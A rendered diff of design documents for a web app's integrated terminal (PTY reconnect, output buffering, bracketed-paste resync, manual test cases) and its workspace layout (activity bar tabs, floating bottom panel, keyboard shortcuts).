- The list can be **resized** by dragging its left edge (120–480px, default 160px), and **collapsed** to a `w-10` rail of square icons with a "+" at the bottom. Both settings persist globally in `localStorage` (`halo_terminal_sidebar_open`, `halo_terminal_sidebar_width`)
|
|
14
14
|
|
|
15
15
|
### Working directory
|
|
@@ -17,12 +17,12 @@ xterm.js terminal with a node-pty backend, multi-tab, reconnect-resilient.
|
|
|
17
17
|
| Scenario | Initial cwd |
|
|
18
18
|
|---|---|
|
|
19
19
|
| Default workspace terminal | Current project's workspace root (`activeProject.path`) |
|
|
20
|
-
|
|
|
20
|
+
| Explorer context menu → open in terminal | A new terminal in the right-clicked folder (or the file's parent) |
|
|
21
21
|
| No workspace bound | `?folder=` URL param, falling back to server `$HOME` |
|
|
22
22
|
|
|
23
|
-
Derivation in [packages/admin/src/features/terminal/terminal-panel.tsx
|
|
23
|
+
Derivation in `createTerminal` in [packages/admin/src/features/terminal/terminal-panel.tsx](../../../packages/admin/src/features/terminal/terminal-panel.tsx); backend resolution in `TerminalManager.start` in [packages/server/src/ws/terminal-manager.ts](../../../packages/server/src/ws/terminal-manager.ts).
|
|
24
24
|
|
|
25
|
-
Workspace switch does **not** migrate existing terminals — they keep their original cwd
|
|
25
|
+
Workspace switch reloads the page and does **not** migrate existing terminals — they keep their original cwd and are only reattached in their own workspace (within the grace period); the new workspace starts a fresh terminal at its root.
|
|
26
26
|
|
|
27
27
|
### Reconnect resilience
|
|
28
28
|
|
|
@@ -31,19 +31,19 @@ When the WebSocket drops:
|
|
|
31
31
|
1. PTYs are **not killed** — they stay in the module-level `terminals` map with `currentWs = null` (`packages/server/src/ws/terminal-manager.ts`)
|
|
32
32
|
2. Output during detach is buffered (ring buffer, up to `config.limits.terminalOutputBuffer` = 50 KB per terminal)
|
|
33
33
|
3. Grace period: `config.timeout.terminalGrace` (default 5 min)
|
|
34
|
-
4. On reconnect, the client sends `terminal:reattach` (sent on initial mount **and** on every subsequent `_connected` event)
|
|
34
|
+
4. On reconnect, the client sends `terminal:reattach` with its `browserId` and workspace path (sent on initial mount **and** on every subsequent `_connected` event); only PTYs of that browser × workspace are claimed
|
|
35
35
|
5. Server replays the entire output buffer, reattaches live I/O, and responds with `terminal:reattached { terminalIds: [...] }`
|
|
36
36
|
6. If the grace timer expires first, the PTY is killed and the detach entry removed
|
|
37
37
|
|
|
38
38
|
Connection-level liveness and reconnect (server keepalive tolerance, client self-check timer, auth-expiry handling) are owned by the shared WS client — see [design/ws.md](../design/ws.md#client-side-liveness--reconnect).
|
|
39
39
|
|
|
40
|
-
On the reattach handler ([packages/admin/src/features/terminal/terminal-panel.tsx](../../../packages/admin/src/features/terminal/terminal-panel.tsx)), each id in `terminalIds` is dispatched by whether a local xterm instance already exists:
|
|
40
|
+
When the WS drops, the bottom panel remounts `TerminalPanel` (fresh key on `_disconnected`): local xterm instances are disposed without sending `terminal:close`, and the new panel reattaches like a page load. The local scrollback is lost; the server replays only what was buffered while detached. On the reattach handler ([packages/admin/src/features/terminal/terminal-panel.tsx](../../../packages/admin/src/features/terminal/terminal-panel.tsx)), each id in `terminalIds` is dispatched by whether a local xterm instance already exists:
|
|
41
41
|
|
|
42
|
-
- **Already exists** (
|
|
43
|
-
- **Does not exist** (first mount, or the
|
|
42
|
+
- **Already exists** (a reattach without a remount): only a `terminal:resize` is sent so server PTY dimensions resync; the existing instance keeps its scrollback and continues receiving live output.
|
|
43
|
+
- **Does not exist** (first mount, or after the remount above): a fresh xterm container is created and bound to that id. Bracketed paste mode is resynced by locally writing `\x1b[?2004h` into the new instance — bash enabled the mode on the PTY at spawn time, but that sequence went to the disposed instance; without the resync, a multi-line paste into the reattached terminal would be sent unbracketed and execute line by line.
|
|
44
44
|
|
|
45
45
|
### Environment
|
|
46
|
-
- Shell: `$SHELL` or `/bin/bash`
|
|
46
|
+
- Shell: `$SHELL` or `/bin/bash` (`ComSpec` / `powershell.exe` on Windows); bash / zsh / sh / fish start as login shells (`-l`)
|
|
47
47
|
- Terminal type: `xterm-256color`
|
|
48
48
|
- Default size: 80 × 24 (resize requests override)
|
|
49
49
|
- Strips `npm_config_prefix` env (avoids nvm warnings when starting node)
|
|
@@ -95,7 +95,7 @@ Source: [packages/server/src/ws/terminal-manager.ts](../../../packages/server/sr
|
|
|
95
95
|
| Config key | Default | Purpose |
|
|
96
96
|
|---|---|---|
|
|
97
97
|
| `config.timeout.terminalGrace` | 300,000 ms | Detach retention period |
|
|
98
|
-
| `config.limits.terminalOutputBuffer` | 50,000 bytes | Detach output ring buffer cap |
|
|
98
|
+
| `config.limits.terminalOutputBuffer` (setting `general.limits.terminal_scrollback_bytes`) | 50,000 bytes | Detach output ring buffer cap |
|
|
99
99
|
|
|
100
100
|
Defined in [packages/server/src/config.ts](../../../packages/server/src/config.ts).
|
|
101
101
|
|
|
@@ -104,12 +104,12 @@ Defined in [packages/server/src/config.ts](../../../packages/server/src/config.t
|
|
|
104
104
|
| # | Scenario | Expected |
|
|
105
105
|
|---|---|---|
|
|
106
106
|
| T1 | Start, run `ls` | Output arrives; prompt returns |
|
|
107
|
-
| T2 |
|
|
107
|
+
| T2 | Explorer → right-click a folder → Open in Integrated Terminal | A new terminal whose cwd is that folder (`pwd` confirms) |
|
|
108
108
|
| T3 | Resize window | PTY cols/rows update; long-running process (e.g. `watch ls`) reflows |
|
|
109
109
|
| T4 | Disconnect mid-command (`sleep 5 && echo done`) → reconnect within grace period | Buffered output replayed; `done` visible |
|
|
110
110
|
| T5 | Disconnect → wait > grace period → reconnect | Terminal gone (PTY killed at grace expiry) |
|
|
111
111
|
| T6 | Open 3 tabs, close 1 explicitly | Other 2 keep their PTYs; closed one gets `terminal:exit` |
|
|
112
|
-
| T7 | `exit` from within shell | `terminal:exit` with
|
|
112
|
+
| T7 | `exit` from within shell | `terminal:exit` with the shell's exit code; the terminal prints `[Process exited]` and its tab stays until closed |
|
|
113
113
|
| T8 | Paste a 10 KB block | Sent as `terminal:input` without choking; shell echoes in chunks |
|
|
114
114
|
|
|
115
115
|
Follows the pattern of [test/session.md](../test/session.md).
|
|
@@ -1,10 +1,10 @@
|
|
|
1
1
|
# Workspace Layout — Requirements
|
|
2
2
|
|
|
3
|
-
Overall workspace layout: Activity Bar + Sidebar + main content
|
|
3
|
+
Overall workspace layout: Activity Bar + Sidebar + main content; the Explorer tab adds a resizable bottom panel.
|
|
4
4
|
|
|
5
5
|
## Layout structure
|
|
6
6
|
|
|
7
|
-
|
|
7
|
+
The Explorer tab uses the layout with the docked bottom panel:
|
|
8
8
|
|
|
9
9
|
```
|
|
10
10
|
+---+-------------+---------------------------+
|
|
@@ -22,22 +22,27 @@ Most tabs use the standard layout (with bottom panel):
|
|
|
22
22
|
+---+--------------+---------------------------+
|
|
23
23
|
```
|
|
24
24
|
|
|
25
|
-
|
|
25
|
+
Every other tab uses the full height with no docked bottom panel (Skills: SkillsMain = file tree + Canvas).
|
|
26
26
|
|
|
27
|
-
The Bottom Panel (Chat + Terminal) can also be **floated** into a draggable window that survives activity-tab switching — see "Bottom panel" below.
|
|
27
|
+
The Bottom Panel (Chat + Terminal) can also be **floated** into a draggable window that survives activity-tab switching, or **maximized** over the whole viewport — see "Bottom panel" below.
|
|
28
28
|
|
|
29
29
|
## Activity Bar tabs
|
|
30
30
|
|
|
31
31
|
| Icon | Tab | Sidebar | Main content | Bottom panel |
|
|
32
32
|
|---|---|---|---|---|
|
|
33
33
|
| FolderTree | Explorer | File tree + ops | Canvas (Monaco + previews) | Chat + Terminal |
|
|
34
|
-
|
|
|
34
|
+
| GitBranch | Source Control | Changes + commit box | Diff / history graph | — |
|
|
35
|
+
| MessageSquare | Sessions | Session list | Session message viewer | — |
|
|
35
36
|
| Zap | Skills | Skill list | SkillsMain (full height) | — |
|
|
36
|
-
| Bot | Agents | — | Agent config editor + Test (full width) |
|
|
37
|
-
| MessageCircle | Channels | Channel list | Channel config editor |
|
|
38
|
-
| Sparkles | Evolution |
|
|
39
|
-
| Clock | Cron |
|
|
40
|
-
| Settings2 | Settings | — | Settings panel |
|
|
37
|
+
| Bot | Agents | — | Agent config editor + Test (full width) | — |
|
|
38
|
+
| MessageCircle | Channels | Channel list | Channel config editor | — |
|
|
39
|
+
| Sparkles | Evolution | Run list + status filters | Evolution main (run/apply review) | — |
|
|
40
|
+
| Clock | Cron | Job list | Cron job detail / form + run audit | — |
|
|
41
|
+
| Settings2 | Settings | — | Settings panel | — |
|
|
42
|
+
|
|
43
|
+
The Source Control entry is hidden in workspaces that are not git repos.
|
|
44
|
+
|
|
45
|
+
Below Settings sits the quick-toggles entry (network status, finish notification, and on desktop pin / keep-screen-awake) — see [explorer.md → Desktop windows](explorer.md#desktop-windows-multi-window).
|
|
41
46
|
|
|
42
47
|
## Resizable panels
|
|
43
48
|
- **Sidebar width**: drag between sidebar and main content
|
|
@@ -53,12 +58,12 @@ Two tabs:
|
|
|
53
58
|
Current tab stored in `editorStore.bottomTab`.
|
|
54
59
|
|
|
55
60
|
### Floating mode
|
|
56
|
-
The tab bar has a
|
|
61
|
+
The tab bar has a maximize button and, at the far right, a float button. Toggling the float button detaches the panel into a draggable window:
|
|
57
62
|
- **Default position/size**: bottom-right corner, 480×640 with a 24px margin
|
|
58
63
|
- **Drag**: grab the tab bar (anywhere except buttons) to reposition
|
|
59
64
|
- **Resize**: four edges (N/S/E/W) + four corners (NW/NE/SW/SE), minimum size 320×240
|
|
60
65
|
- **Visible from any activity tab** — Explorer's in-layout bottom panel is hidden while floating; Canvas takes full height
|
|
61
|
-
- **Only one instance** mounted
|
|
66
|
+
- **Only one instance** is mounted; dock / undock / maximize just move it, so terminals and their scroll buffers survive
|
|
62
67
|
- **State is in `sessionStorage`** (`halo_bottom_floating` + `halo_bottom_float_rect`) — page refresh reverts to docked mode
|
|
63
68
|
- **Agent "Test" button** dispatches `halo:navigate → explorer` to surface Chat; this jump is suppressed while floating since Chat is already globally visible
|
|
64
69
|
- **Close (✕) button** on the float window's tab bar docks it back
|
|
@@ -69,7 +74,8 @@ The tab bar has a float button on the far right. Toggling it detaches the panel
|
|
|
69
74
|
|---|---|
|
|
70
75
|
| Cmd/Ctrl + P | Quick Open (fuzzy file search) |
|
|
71
76
|
| Cmd/Ctrl + S | Save current file |
|
|
72
|
-
|
|
|
77
|
+
| Cmd/Ctrl + ` | Toggle the bottom panel between Chat and Terminal |
|
|
78
|
+
| Alt + W | Close current tab (Cmd+W cannot be overridden in browsers; the desktop app uses Cmd/Ctrl + W) |
|
|
73
79
|
|
|
74
80
|
## Auth
|
|
75
81
|
|